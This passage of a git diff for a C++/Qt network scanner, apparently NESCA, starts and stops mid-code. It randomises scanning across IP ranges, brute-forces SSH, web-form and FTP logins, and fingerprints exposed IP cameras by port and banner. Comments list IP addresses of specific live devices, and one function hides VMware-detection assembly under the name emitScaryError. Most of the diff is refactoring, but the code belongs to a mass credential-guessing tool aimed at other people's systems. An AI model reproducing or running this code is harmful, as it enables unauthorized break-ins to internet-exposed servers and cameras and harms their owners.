ipVec; + struct in_addr tAddr; + int ipOffset = 6; + //for (gflIndex = 0; gflIndex < MainStarter::flCounter; ++gflIndex) + for (gflIndex = 0; gflIndex < MainStarter::flCounter; gflIndex += ipOffset) + { + //sprintf(metaRange, "%d.%d.%d.%d-%d.%d.%d.%d", + // ipsstartfl[gflIndex][0], ipsstartfl[gflIndex][1], ipsstartfl[gflIndex][2], ipsstartfl[gflIndex][3], + // ipsendfl[gflIndex][0], ipsendfl[gflIndex][1], ipsendfl[gflIndex][2], ipsendfl[gflIndex][3]); - ip1 = (ipsstartfl[gflIndex][0] * 16777216) + - (ipsstartfl[gflIndex][1] * 65536) + - (ipsstartfl[gflIndex][2] * 256) + - ipsstartfl[gflIndex][3]; - ip2 = (ipsendfl[gflIndex][0] * 16777216) + - (ipsendfl[gflIndex][1] * 65536) + - (ipsendfl[gflIndex][2] * 256) + - ipsendfl[gflIndex][3]; + //ip1 = (ipsstartfl[gflIndex][0] * 16777216) + + // (ipsstartfl[gflIndex][1] * 65536) + + // (ipsstartfl[gflIndex][2] * 256) + + // ipsstartfl[gflIndex][3]; + //ip2 = (ipsendfl[gflIndex][0] * 16777216) + + // (ipsendfl[gflIndex][1] * 65536) + + // (ipsendfl[gflIndex][2] * 256) + + // ipsendfl[gflIndex][3]; switch (gShuffle) { case true: { - std::vector ipVec; - struct in_addr tAddr; + int ipGap = MainStarter::flCounter - gflIndex; + if (ipGap < ipOffset) + { + ipOffset = ipGap; + }; - for (unsigned long i = ip1; i <= ip2; ++i) { + for (int j = gflIndex, coracIndex = 0; j < gflIndex + ipOffset; ++j, coracIndex++) + { + /*sprintf(metaRange, "%d.%d.%d.%d-%d.%d.%d.%d", + ipsstartfl[j][0], ipsstartfl[j][1], ipsstartfl[j][2], ipsstartfl[j][3], + ipsendfl[j][0], ipsendfl[j][1], ipsendfl[j][2], ipsendfl[j][3]);*/ + ip1 = (ipsstartfl[j][0] * 16777216) + + (ipsstartfl[j][1] * 65536) + + (ipsstartfl[j][2] * 256) + + ipsstartfl[j][3]; + ip2 = (ipsendfl[j][0] * 16777216) + + (ipsendfl[j][1] * 65536) + + (ipsendfl[j][2] * 256) + + ipsendfl[j][3]; - if (!globalScanFlag) break; - unsigned long offset = ip2 - i; + for (unsigned long i = ip1; i <= ip2; ++i) + { + if (!globalScanFlag) goto haters_gonna_hate_IM; - tAddr.s_addr = ntohl(i); - ipVec.push_back(inet_ntoa(tAddr)); - - if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { - - std::random_shuffle(ipVec.begin(), ipVec.end()); - while (ipVec.size() != 0) { - - while (cons >= gThreads && globalScanFlag) Sleep(500); - if (!globalScanFlag) goto haters_gonna_hate_IM; - - ++indexIP; - strcpy(currentIP, ipVec[0].c_str()); - ipVec.erase(ipVec.begin()); - verboseProgress(gTargets); - - Threader::fireThread(currentIP, (void*(*)(void))_connect); - } + tAddr.s_addr = ntohl(i); + Corac corac; + corac.ip = std::string(inet_ntoa(tAddr)); + corac.index = coracIndex; + ipVec.push_back(corac); } } + + std::random_shuffle(ipVec.begin(), ipVec.end()); + for (int k = 0; k < ipVec.size(); ++k) + { + stt->addColoredIndex(ipVec[k].index); + } + + stt->doEmitionUpdatePB2(); + + while (ipVec.size() != 0) { + ++cIndex; + //stt->doEmitionDrawPointerPB2(pointer++); + while (cons >= gThreads && globalScanFlag) Sleep(500); + if (!globalScanFlag) goto haters_gonna_hate_IM; + + ++indexIP; + + strcpy(currentIP, ipVec[0].ip.c_str()); + ipVec.erase(ipVec.begin()); + verboseProgress(gTargets); + + Threader::fireThread(currentIP, (void*(*)(void))_connect); + } + + // for (unsigned long i = ip1; i <= ip2; ++i) { + + // if (!globalScanFlag) break; + + // tAddr.s_addr = ntohl(i); + // ipVec.push_back(inet_ntoa(tAddr)); + + // if (ipVec.size() >= (gTargets > 10000 ? 10000 : gTargets)) { + + // std::random_shuffle(ipVec.begin(), ipVec.end()); + // while (ipVec.size() != 0) { + + // while (cons >= gThreads && globalScanFlag) Sleep(500); + // if (!globalScanFlag) goto haters_gonna_hate_IM; + + // ++indexIP; + + // strcpy(currentIP, ipVec[0].c_str()); + // ipVec.erase(ipVec.begin()); + // verboseProgress(gTargets); + + // Threader::fireThread(currentIP, (void*(*)(void))_connect); + // } + // } + // } haters_gonna_hate_IM:; break; } case false: { + ip1 = (ipsstartfl[gflIndex][0] * 16777216) + + (ipsstartfl[gflIndex][1] * 65536) + + (ipsstartfl[gflIndex][2] * 256) + + ipsstartfl[gflIndex][3]; + ip2 = (ipsendfl[gflIndex][0] * 16777216) + + (ipsendfl[gflIndex][1] * 65536) + + (ipsendfl[gflIndex][2] * 256) + + ipsendfl[gflIndex][3]; struct in_addr tAddr; for (unsigned long i = ip1; i <= ip2; ++i) { @@ -1289,21 +1345,84 @@ void MainStarter::runAuxiliaryThreads() { } void MainStarter::createResultFiles() { + char fileName[256] = { 0 }; + sprintf(fileName, "./result_files-%s", Utils::getStartDate().c_str()); #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - bool res = CreateDirectoryA(RESULT_DIR_NAME, NULL); - if(!res) stt->doEmitionRedFoundData("Failed to crete results."); + bool res = CreateDirectoryA(fileName, NULL); + if (!res) { + int err = GetLastError(); + if (err != 183) + { + while (!res) { + stt->doEmitionRedFoundData("Failed to create \"" + QString::fromLocal8Bit(fileName) + "\" Err: " + QString::number(err)); + res = CreateDirectoryA(fileName, NULL); + err = GetLastError(); + Sleep(1000); + } + } else { + stt->doEmitionYellowFoundData("Directory \"" + QString::fromLocal8Bit(fileName) + "\" already exists. Err: " + QString::number(err)); + } + } else { + stt->doEmitionGreenFoundData("Result directory \"" + QString::fromLocal8Bit(fileName) + "\" successfully created."); + } #else struct stat str = { 0 }; - if (stat(RESULT_DIR_NAME, &str) == -1) { - mkdir(RESULT_DIR_NAME, 0700); + if (stat(fileName, &str) == -1) { + mkdir(fileName, 0700); } #endif } +/* This array will store all of the mutexes available to OpenSSL. */ +static MUTEX_TYPE *mutex_buf = NULL; + +static void locking_function(int mode, int n, const char * file, int line) +{ + if (mode & CRYPTO_LOCK) + MUTEX_LOCK(mutex_buf[n]); + else + MUTEX_UNLOCK(mutex_buf[n]); +} + +static unsigned long id_function(void) +{ + return ((unsigned long)THREAD_ID); +} + +int thread_setup(void) +{ + int i; + + mutex_buf = (MUTEX_TYPE*)malloc(CRYPTO_num_locks() * sizeof(MUTEX_TYPE)); + if (!mutex_buf) + return 0; + for (i = 0; i < CRYPTO_num_locks(); i++) + MUTEX_SETUP(mutex_buf[i]); + CRYPTO_set_id_callback(id_function); + CRYPTO_set_locking_callback(locking_function); + return 1; +} + +int thread_cleanup(void) +{ + int i; + if (!mutex_buf) + return 0; + CRYPTO_set_id_callback(NULL); + CRYPTO_set_locking_callback(NULL); + for (i = 0; i < CRYPTO_num_locks(); i++) + MUTEX_CLEANUP(mutex_buf[i]); + free(mutex_buf); + mutex_buf = NULL; + return 1; +} + void MainStarter::start(const char* targets, const char* ports) { - + saveBackup = true; curl_global_init(CURL_GLOBAL_ALL); + thread_setup(); + createResultFiles(); if (loadTargets(targets) == -1 || @@ -1319,13 +1438,15 @@ void MainStarter::start(const char* targets, const char* ports) { else if (gMode == 1) startDNSScan(); else startImportScan(); + saveBackup = false; + stt->doEmitionYellowFoundData("Stopping threads..."); - stt->doEmitionChangeStatus("Stopping..."); while (cons > 0 || jsonArr->size() > 0) Sleep(2000); + + thread_cleanup(); stt->doEmitionGreenFoundData("Done. Saved " + QString::number(saved) + " of " + QString::number(found) + " nodes."); - stt->doEmitionChangeStatus("Idle"); stt->doEmitionKillSttThread(); } \ No newline at end of file diff --git a/MainStarter.h b/MainStarter.h index 1710834..eb68b1a 100644 --- a/MainStarter.h +++ b/MainStarter.h @@ -30,9 +30,8 @@ public: MainStarter() { horLineFlag = false; - PieAnomC1 = 0, PieWF = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieSSH = 0; - AnomC1 = 0, baCount = 0, filtered = 0, Overl = 0, Lowl = 0, Alive = 0, Activity = 0, saved = 0, Susp = 0, - WF = 0; + PieCamerasC1 = 0, PieBA = 0, PieOther = 0, PieSSH = 0; + camerasC1 = 0, baCount = 0, filtered = 0, Overl = 0, Alive = 0, Activity = 0, saved = 0, other = 0; BrutingThrds = 0; found = 0; gTargets = 0; @@ -77,6 +76,18 @@ public: delete[]wfLoginLst; wfLoginLst = NULL; }; + if (ftpPassLst != NULL) + { + for (int i = 0; i < MaxFTPPass; ++i) delete[]ftpPassLst[i]; + delete[]ftpPassLst; + ftpPassLst = NULL; + }; + if (ftpLoginLst != NULL) + { + for (int i = 0; i < MaxFTPLogin; ++i) delete[]ftpLoginLst[i]; + delete[]ftpLoginLst; + ftpLoginLst = NULL; + }; if (sshlpLst != NULL) { for (int i = 0; i < MaxSSHPass; ++i) delete[]sshlpLst[i]; diff --git a/SSHAuth.cpp b/SSHAuth.cpp index 97c2256..91f8dfc 100644 --- a/SSHAuth.cpp +++ b/SSHAuth.cpp @@ -84,17 +84,19 @@ int _sshConnect(const char *user, const char *pass, const char *host, int port) return 0; } -int check_ssh_pass(const char *user, const char *pass, +int check_ssh_pass(const int rowIndex, const char *user, const char *pass, const char *userPass, const char *host, int port, std::string *buffer, const char *banner) { - int res = -1; - if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(userPass) + "@" + QString(host) + ":" + QString::number(port)); - - res = _sshConnect(user, pass, host, port); + int res = _sshConnect(user, pass, host, port); if(res == 0) { - stt->doEmition_BAGreenData("[+] SSH: " + QString(userPass) + "@" + QString(host)); + if (rowIndex == -1) { + nesca_3::addBARow(QString(host) + ":" + QString::number(port), QString(userPass) + "@" + QString(host), "OK"); + } + else { + stt->doEmitionChangeBARow(rowIndex, QString(userPass) + "@" + QString(host), "OK"); + } buffer->append(userPass); buffer->append("@"); buffer->append(host); @@ -112,6 +114,8 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner char temp[64] = {0}; char *ptr1 = 0; int res = -1; + int rowIndex = -1; + int passCounter = 0; for(int i = 0; i < MaxSSHPass; ++i) { @@ -126,23 +130,59 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner strncpy(login, temp, ptr1 - temp); strcpy(pass, ptr1 + 1); - res = check_ssh_pass(login, pass, temp, host, port, buffer, banner); + + if (BALogSwitched) { + if (rowIndex == -1) { + rowIndex = nesca_3::addBARow(QString(host) + ":" + QString::number(port), + QString(login) + ":" + QString(pass), + QString::number((passCounter / (double)(MaxSSHPass)) * 100).mid(0, 4) + "%"); + } + else { + stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), + QString::number((passCounter / (double)(MaxSSHPass)) * 100).mid(0, 4) + "%"); + } + } + else { rowIndex = -1; } + ++passCounter; + + res = check_ssh_pass(rowIndex, login, pass, temp, host, port, buffer, banner); ZeroMemory(login, sizeof(login)); ZeroMemory(pass, sizeof(pass)); ZeroMemory(temp, sizeof(temp)); if(res == 0) { - if(i == 0) return -2; //Failhit + if (i == 0) { + if (rowIndex == -1) { + nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAILHIT"); + } + else { + stt->doEmitionChangeBARow(rowIndex, "--", "FAILHIT"); + } + return -2; //Failhit + } return 1; } else if(res == -2) - { + { + if (rowIndex == -1) { + nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAIL"); + } + else { + stt->doEmitionChangeBARow(rowIndex, "--", "FAIL"); + } return -2; }; Sleep(500); - }; + }; + + if (rowIndex == -1) { + nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAIL"); + } + else { + stt->doEmitionChangeBARow(rowIndex, "--", "FAIL"); + } return -1; } diff --git a/STh.cpp b/STh.cpp index 57c8d23..c6b62f2 100644 --- a/STh.cpp +++ b/STh.cpp @@ -1,6 +1,18 @@ #include "STh.h" #include "externData.h" +//BA TablelistView +void STh::doEmitionChangeBARow(int index, QString loginPass, QString percentage) +{ + emit stt->signalChangeBARow(index, loginPass, percentage); +} + +void STh::doEmitionUpdatePB2() +{ + cIndex = 0; + emit stt->updPB2(); +} + void STh::doEmitionShowRedVersion() { emit stt->showRedVersion(); @@ -29,18 +41,7 @@ void STh::doEmitionFoundData(QString str) { emit stt->changeFoundData(str); } -void STh::doEmitionBAData(QString str) -{ - emit stt->changeBAData(str); -} -void STh::doEmition_BARedData(QString str) -{ - emit stt->changeRedBAData(str); -} -void STh::doEmition_BAGreenData(QString str) -{ - emit stt->changeGreenBAData(str); -} + void STh::doEmitionRedFoundData(QString str) { emit stt->changeRedFoundData(str); @@ -57,10 +58,6 @@ void STh::doEmitionDebugFoundData(QString str) { emit stt->changeDebugFoundData(str); } -void STh::doEmitionChangeStatus(QString str) -{ - emit stt->changeStatus(str); -} void STh::doEmitionKillSttThread() { emit stt->killSttThread(); diff --git a/STh.h b/STh.h index 1b102ba..3844efe 100644 --- a/STh.h +++ b/STh.h @@ -14,31 +14,44 @@ class STh : public QThread private: QString target = ""; QString ports = ""; + QList coloredIndexes; public: + void addColoredIndex(int index) + { + coloredIndexes.push_back(index); + } + QList getColoredIndexes() + { + return coloredIndexes; + } + void setMode(short mode); void setTarget(QString target); void setPorts(QString ports); + static int baModelSize(); + static void doEmitionDataSaved(bool status); static void doEmitionStartScanIP(); static void doEmitionStartScanDNS(); static void doEmitionStartScanImport(); static void doEmitionAddIncData(QString ip, QString str); static void doEmitionAddOutData(QString str); - static void doEmition_BAGreenData(QString str); - static void doEmition_BARedData(QString str); + static void doEmitionFoundData(QString str); static void doEmitionRedFoundData(QString str); static void doEmitionGreenFoundData(QString); static void doEmitionYellowFoundData(QString); - static void doEmitionChangeStatus(QString); static void doEmitionKillSttThread(); - static void doEmitionBAData(QString str); + static void doEmitionDebugFoundData(QString); static void doEmitionShowRedVersion(); static void doEmitionUpdateArc(unsigned long gTargets); static void doEmitionBlockButton(bool value); + //BA TablelistView + static void doEmitionChangeBARow(int index, QString loginPass, QString percentage); + static void doEmitionUpdatePB2(); signals: public: signals: void showRedVersion(); @@ -46,20 +59,20 @@ public: signals: void startScanIP(); public: signals: void startScanDNS(); public: signals: void startScanImport(); public: signals: void signalDataSaved(bool); -public: signals: void changeGreenBAData(QString); -public: signals: void changeRedBAData(QString); -public: signals: void changeBAData(QString); +public: signals : void updPB2(); + public: signals: void changeFoundData(QString); public: signals: void changeRedFoundData(QString); public: signals: void changeGreenFoundData(QString); public: signals: void changeYellowFoundData(QString); public: signals: void changeDebugFoundData(QString); -public: signals: void changeStatus(QString); public: signals: void killSttThread(); public: signals: void sIncData(QString, QString); public: signals : void sOutData(QString); public: signals : void signalUpdateArc(unsigned long); public: signals : void signalBlockButton(bool); + //BA TablelistView +public: signals : void signalChangeBARow(int, QString, QString); protected: void run(); diff --git a/Utils.cpp b/Utils.cpp index 97f6193..da4753b 100644 --- a/Utils.cpp +++ b/Utils.cpp @@ -1,6 +1,36 @@ #include "Utils.h" #include +std::string Utils::startDate; + +void Utils::emitScaryError() { + __asm{ + push edx + push ecx + push ebx + + mov eax, 'VMXh' + mov ebx, 0 + mov ecx, 10 + mov edx, 'VX' + + in eax, dx + cmp ebx, 'VMXh' + + pop ebx + pop ecx + pop edx + }; +} + + +void Utils::saveStartDate() { + startDate = std::string(QDate::currentDate().toString().toLocal8Bit().data()); +} +std::string Utils::getStartDate() { + return startDate; +} + int Utils::isDigest(const std::string *buffer) { if (Utils::ustrstr(buffer, "401 authorization") != -1 || Utils::ustrstr(buffer, "401 unauthorized") != -1 diff --git a/Utils.h b/Utils.h index 039e364..bce3b4a 100644 --- a/Utils.h +++ b/Utils.h @@ -5,6 +5,7 @@ #include #include #include +#include using namespace std; @@ -23,6 +24,7 @@ private: }; class Utils { +private: static std::string startDate; public: static int isDigest(const std::string *buffer); @@ -82,6 +84,9 @@ public: static std::string getStrValue(const std::string &data, const std::string &delim1, const std::string &delim2); static std::vector splitToStrVector(const std::string &s, char delim); static std::vector splitToIntVector(const std::string &s, char delim); + static void saveStartDate(); + static std::string getStartDate(); + static void emitScaryError(); }; #endif // UTILS_H diff --git a/WebformWorker.cpp b/WebformWorker.cpp index 09a6e1c..c4f717c 100644 --- a/WebformWorker.cpp +++ b/WebformWorker.cpp @@ -28,8 +28,6 @@ lopaStr WFClass::parseResponse(const char *ip, && Utils::ustrstr(*buffer, std::string("forbidden")) == -1 ) { - stt->doEmition_BAGreenData("[+] " + QString(ip) + ":" + QString::number(port) + " - WF pass: " + - QString(login) + ":" + QString(pass)); strcpy(result.login, login); strcpy(result.pass, pass); return result; @@ -56,6 +54,7 @@ lopaStr WFClass::doGetCheck(const char *ip, lopaStr result = {"UNKNOWN", "", ""}; int passCounter = 0; int firstCycle = 0; + int rowIndex = -1; char login[128] = {0}; char pass[32] = {0}; @@ -84,10 +83,17 @@ lopaStr WFClass::doGetCheck(const char *ip, Connector con; if(con.nConnect(nip, port, &buffer) <= 0) return result; - if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + - "; login/pass: "+ QString(login) + ":" + QString(pass) + - "; - Progress: (" + - QString::number((passCounter++/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); + if (BALogSwitched) { + if (rowIndex == -1) { + //stt->doEmitionAddBARow(rowIndex, QString(ip) + ":" + QString::number(port), + // QString(login) + ":" + QString(pass), + // QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%"); + } + else { + stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), + QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%"); + } + } result = parseResponse(ip, port, &buffer, formVal, login, pass); if(i == 0) ++i; @@ -108,6 +114,7 @@ lopaStr WFClass::doPostCheck(const char *ip, lopaStr result = {"UNKNOWN", "", ""}; int passCounter = 0; int firstCycle = 0; + int rowIndex = -1; char login[128] = {0}; char pass[32] = {0}; @@ -136,11 +143,19 @@ lopaStr WFClass::doPostCheck(const char *ip, std::string buffer; Connector con; - if (con.nConnect(nip, port, &buffer, postData) <= 0) return result; - - if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + - QString(login) + ":" + QString(pass) + "; - Progress: (" + - QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); + if (con.nConnect(nip, port, &buffer, postData) <= 0) return result; + + if (BALogSwitched) { + if (rowIndex == -1) { + //stt->doEmitionAddBARow(rowIndex, QString(ip) + ":" + QString::number(port), + // QString(login) + ":" + QString(pass), + // QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%"); + } + else { + stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), + QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%"); + } + } ++passCounter; return parseResponse(ip, port, &buffer, formVal, login, pass); diff --git a/WebformWorker.h b/WebformWorker.h index 2f18ccd..13058f8 100644 --- a/WebformWorker.h +++ b/WebformWorker.h @@ -24,7 +24,7 @@ public: if(gMaxBrutingThreads > 0) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); - ++WF; + //++WF; ++BrutingThrds; //BConInc(); diff --git a/externData.h b/externData.h index 1670e0b..aa5db7c 100644 --- a/externData.h +++ b/externData.h @@ -24,20 +24,26 @@ extern QJsonArray *jsonArr; extern unsigned long long gTargetsNumber; extern long long unsigned int gTargets; extern std::atomic cons, BrutingThrds, gThreads; -extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst; +extern char **loginLst, **passLst, +**wfLoginLst, **wfPassLst, +**ftpLoginLst, **ftpPassLst, +**sshlpLst; extern bool trackerOK, globalScanFlag, MapWidgetOpened, widgetIsHidden, gNegDebugMode, gDebugMode, horLineFlag, gPingNScan, gShuffle, BALogSwitched; extern int found, indexIP, gMode, - MaxPass, MaxLogin, MaxWFLogin, MaxWFPass, MaxSSHPass, + MaxPass, MaxLogin, + MaxWFLogin, MaxWFPass, + MaxFTPLogin, MaxFTPPass, + MaxSSHPass, gMaxBrutingThreads, - gTimeOut, PieAnomC1, PieSusp, PieBA, PieLowl, PieWF, PieSSH, - AnomC1, filtered, Overl, Lowl, Alive, saved, - Susp, - WF, + gTimeOut, PieCamerasC1, PieOther, PieBA, PieSSH, + camerasC1, filtered, Overl, Alive, saved, + other, baCount, - ssh, globalPinger, gPingTimeout; + ssh, globalPinger, gPingTimeout, + cIndex; extern unsigned int Activity; extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[64], trcPort[32], trcSrvPortLine[32], diff --git a/finder.cpp b/finder.cpp index d3bdbcd..9d291c2 100644 --- a/finder.cpp +++ b/finder.cpp @@ -93,7 +93,7 @@ char *_findLast(char *str, char *delim) return (char *)(str + savedPosition); } -char *GetCodePage(const char *str) +char *getCodePage(const char *str) { char cdpg[32] = {0}; char *ptr1 = strstri(str, "charset="); @@ -201,7 +201,7 @@ char *GetCodePage(const char *str) else return "NULL"; } -int globalSearchNeg(const std::string *buff, const char *ip, int port, const char *cp) +bool isNegative(const std::string *buff, const char *ip, int port, const char *cp) { QTextCodec *codec; QString codedStr; @@ -230,7 +230,7 @@ int globalSearchNeg(const std::string *buff, const char *ip, int port, const cha for (auto negEntry : FileUpdater::negativeVector) { FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; }); - if (!globalScanFlag) return -1; + if (!globalScanFlag) return true; if (Utils::ustrstr(std::string(codedStr.toLocal8Bit().data()), negEntry) != -1){ if (gNegDebugMode) @@ -243,11 +243,27 @@ int globalSearchNeg(const std::string *buff, const char *ip, int port, const cha } ++filtered; - return -1; + return true; } } -} + std::size_t ptr1 = buff->find("\r\n\r\n"); + if (ptr1 != -1) { + int sz = buff->size(); + int nSz = buff->substr(ptr1, sz).size() - 4; + if (nSz < 100) { + if (gNegDebugMode) + { + QTextCodec *nCodec = QTextCodec::codecForName("Windows-1251"); + stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + + "" + "]\tNegative hit: Size:" + QString::number(nSz)); + } + return true; + } + } + return false; +} int globalSearchPrnt(const std::string *buff) { if(Utils::ustrstr(buff, "en/_top.htm") != -1 || Utils::ustrstr(buff, "cannon http server") != -1 @@ -270,29 +286,32 @@ int globalSearchPrnt(const std::string *buff) return 0; } - int sharedDetector(const char * ip, int port, const std::string *buffcpy, const char *cp) { - int isDig = Utils::isDigest(buffcpy); - if (isDig == 1) return 101; - else if (isDig == 0) return 1; + if (buffcpy->size() == 0) { + if (port == 9000) { + if (HikVis::checkSAFARI(ip, port)) return 6; //Safari CCTV + else if (HikVis::checkHikk(ip, port)) return 4; //Hikkvision iVMS + else if (HikVis::checkRVI(ip, port)) return 5; //RVI + else return -1; + } + else if(port == 8000) { + if (HikVis::checkHikk(ip, port)) return 4; //Hikkvision iVMS + else if (HikVis::checkRVI(ip, port)) return 5; //RVI + //else if (HikVis::checkSAFARI(ip, port)) return 6; //Safari CCTV + else return -1; + } + else if (port == 37777) { + if (HikVis::checkRVI(ip, port)) return 5; //RVI + else if(HikVis::checkHikk(ip, port)) return 4; //Hikkvision iVMS + else if (HikVis::checkSAFARI(ip, port)) return 6; //Safari CCTV + else return -1; + } + } + + int isDig = Utils::isDigest(buffcpy); + if (isDig != -1) return 2; //Auth - if(Utils::ustrstr(buffcpy, "401 authorization") != -1 - || Utils::ustrstr(buffcpy, "401 unauthorized") != -1 - || (Utils::ustrstr(buffcpy, "www-authenticate") != -1 - && Utils::ustrstr(buffcpy, "401 ") != -1 - ) - || Utils::ustrstr(buffcpy, "401 unauthorized access denied") != -1 - || Utils::ustrstr(buffcpy, "401 unauthorised") != -1 - || (Utils::ustrstr(buffcpy, "www-authenticate") != -1 - && Utils::ustrstr(buffcpy, " 401\r\n") != -1 - ) - ) { - if(Utils::ustrstr(buffcpy, "digest realm") != -1 - && Utils::ustrstr(buffcpy, "basic realm") == -1) { - return 101; - } else return 1; - }; if (Utils::ustrstr(buffcpy, "netwave ip camera") != -1) return 11; if (Utils::ustrstr(buffcpy, "live view / - axis") != -1) return 12; if (Utils::ustrstr(buffcpy, "vilar ipcamera") != -1) return 13; @@ -350,8 +369,9 @@ int sharedDetector(const char * ip, int port, const std::string *buffcpy, const || Utils::ustrstr(buffcpy, "/config/easy_index.cgi") != -1) return 36; //Panasonic Cam if(Utils::ustrstr(buffcpy, "panasonic") != -1 && Utils::ustrstr(buffcpy, "/view/getuid.cgi") != -1) return 37; //Panasonic Cam WJ-HD180 - if(Utils::ustrstr(buffcpy, "ipcam client") != -1 - && Utils::ustrstr(buffcpy, "plugins.xpi") != -1 + if(Utils::ustrstr(buffcpy, "ipcam client") != -1 && ( + Utils::ustrstr(buffcpy, "plugins.xpi") != -1 || + Utils::ustrstr(buffcpy, "IPCWebComponents") != -1) && Utils::ustrstr(buffcpy, "js/upfile.js") != -1) return 38; //Foscam if(Utils::ustrstr(buffcpy, "ip surveillance") != -1 && Utils::ustrstr(buffcpy, "customer login") != -1) return 39; //EagleEye @@ -395,7 +415,6 @@ int sharedDetector(const char * ip, int port, const std::string *buffcpy, const if (Utils::ustrstr(buffcpy, "WEB SERVICE") != -1 && Utils::ustrstr(buffcpy, "jsmain/liveview.js") != -1 ) return 54; //Beward (http://46.146.243.88:88/login.asp) - if (Utils::ustrstr(buffcpy, "get_status.cgi") != -1 && Utils::ustrstr(buffcpy, "str_device+") != -1) return 55; //QCam (http://1.177.123.118:8080/) @@ -403,59 +422,83 @@ int sharedDetector(const char * ip, int port, const std::string *buffcpy, const (Utils::ustrstr(buffcpy, "220 diskStation ftp server ready") != -1) || (Utils::ustrstr(buffcpy, "220 ftp server ready") != -1) || Utils::ustrstr(buffcpy, "500 'get': command not understood") != -1 - ) return 16; // 16 - FTP + ) return 3; // 3 - FTP - if((Utils::ustrstr(buffcpy, "camera web server") != -1 || Utils::ustrstr(buffcpy, "webcamxp 5") != -1 - || Utils::ustrstr(buffcpy, "ip box camera") != -1 || Utils::ustrstr(buffcpy, "snaff") != -1 - || Utils::ustrstr(buffcpy, "hfs /") != -1 || Utils::ustrstr(buffcpy, "httpfileserver") != -1 - || Utils::ustrstr(buffcpy, "network camera") != -1 || Utils::ustrstr(buffcpy, "index of") != -1 - || Utils::ustrstr(buffcpy, "$lock extended") != -1 || Utils::ustrstr(buffcpy, "ip camera") != -1 - || Utils::ustrstr(buffcpy, "/viewer/video.jpg") != -1 || Utils::ustrstr(buffcpy, "smart ip device") != -1 - || Utils::ustrstr(buffcpy, "sanpshot_icon") != -1 || Utils::ustrstr(buffcpy, "snapshot_icon") != -1 - || Utils::ustrstr(buffcpy, "ipcam") != -1 + if (Utils::ustrstr(buffcpy, "camera") != -1 || + Utils::ustrstr(buffcpy, "webcamxp") != -1 || + Utils::ustrstr(buffcpy, "video") != -1 || + Utils::ustrstr(buffcpy, "ipcam") != -1 || + Utils::ustrstr(buffcpy, "smart ip") != -1 || + Utils::ustrstr(buffcpy, "sanpshot_icon") != -1 || + Utils::ustrstr(buffcpy, "snapshot_icon") != -1 + ) return 0; + + if((Utils::ustrstr(buffcpy, "hfs /") != -1 || + Utils::ustrstr(buffcpy, "httpfileserver") != -1 || + Utils::ustrstr(buffcpy, "index of") != -1 || + Utils::ustrstr(buffcpy, "$lock extended") != -1 ) && Utils::ustrstr(buffcpy, "customer") == -1 && Utils::ustrstr(buffcpy, "purchase") == -1 && Utils::ustrstr(buffcpy, "contac") == -1 && Utils::ustrstr(buffcpy, "company") == -1 - ) return 0; + ) return 1; - if(globalSearchNeg(buffcpy, ip, port, cp) == -1) return -1; - if(globalSearchPrnt(buffcpy) == -1) + if (isNegative(buffcpy, ip, port, cp)) return -1; + //if (globalSearchPrnt(buffcpy) == -1) return -1; - return -2; + return 1; } - // 500 < 1600 -int _mainFinderFirst(const std::string *buffcpy, int f, int port, const char *ip, const char *cp) -{ - int flag = sharedDetector(ip, port, buffcpy, cp); - if(flag != -2) return flag; - if(f) return 7; +//int _mainFinderFirst(const std::string *buffcpy, int port, const char *ip, const char *cp) +//{ +// int flag = sharedDetector(ip, port, buffcpy, cp); +// if (flag != -2) return flag; +// +// return 0; +//} +////> 1600 +//int _mainFinderSecond(const std::string *buffcpy, int port, const char *ip, const char *cp) +//{ +// int flag = sharedDetector(ip, port, buffcpy, cp); +// if(flag != -2) return flag; +// +// return 3; //Suspicious +//} - return 0; + + +int firstStage(const std::string *buffcpy, int port, const char *ip, const char *cp, int sz) +{ + if (buffcpy->size() == 0 && sz != 0) { + stt->doEmitionYellowFoundData("Strange behavior: 0 bytes. " + QString(ip) + ":" + QString::number(port)); + return -1; + } + int flag = sharedDetector(ip, port, buffcpy, cp); + if (flag != -2) return flag; + + return 1; +} +int contentFilter(const std::string *buff, int port, const char *ip, const char *cp, int sz) +{ + //int res = 0; + //if (sz <= 500) res = _mainFinderFirst(buff, 1, port, ip, cp); + //else if ((sz > 500 && sz <= 3500) || sz > 180000) res = _mainFinderFirst(buff, 0, port, ip, cp); + //else if (sz > 3500 && sz <= 180000) res = _mainFinderSecond(buff, port, ip, cp); + + //return res; + + if (sz < 180000) { + int result = 1; //Other - default + result = firstStage(buff, port, ip, cp, sz); + return result; + } + else { + return 1; + } } -//> 1600 -int _mainFinderSecond(const std::string *buffcpy, int port, const char *ip, const char *cp) -{ - int flag = sharedDetector(ip, port, buffcpy, cp); - if(flag != -2) return flag; - - return 3; //Suspicious -} - -int ContentFilter(const std::string *buff, int port, const char *ip, const char *cp, int sz) -{ - int res = 0; - if (sz <= 500) res = _mainFinderFirst(buff, 